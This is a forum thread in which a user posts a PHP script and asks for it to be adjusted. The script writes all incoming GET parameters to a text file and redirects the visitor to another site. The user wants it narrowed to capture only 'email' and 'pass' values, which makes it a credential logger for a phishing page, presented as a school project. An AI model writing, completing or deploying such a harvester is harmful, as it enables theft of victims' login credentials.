Login Register






Thread Rating:
  • 0 Vote(s) - 0 Average
Thread Closed 


PHP - Need this code adjusted fast! filter_list
Author
Message
PHP - Need this code adjusted fast! #1
Hay.
I need a lil help here with php code, here it goes.

I need this code:
PHP Code:
<?php
header 
('Location: http://www.website.com');
$handle fopen("text.html""a");
foreach(
$_GET as $variable => $value) {
   
fwrite($handle$variable);
   
fwrite($handle"=");
   
fwrite($handle$value);
   
fwrite($handle"\r\n");
}
fwrite($handle"\r\n");
fclose($handle);
exit;
?>

To be adjusted to do the following
-To only accept the variables : "email" and "pass" and their "value"
-one line - one pair -> pair of "email:$value" and ext line -> same for "pass:"$value" and next line

-Bold the "email" and "pass"


It's a project given by my school teacher, just i can't get it working so i had to post it here...

This means much to me Smile

Thank you Smile






Messages In This Thread
PHP - Need this code adjusted fast! - by Dawnc0re - 10-18-2012, 08:00 PM
PHP - Need this code adjusted fast! - by Dawnc0re - 10-18-2012, 08:00 PM



Users browsing this thread: 1 Guest(s)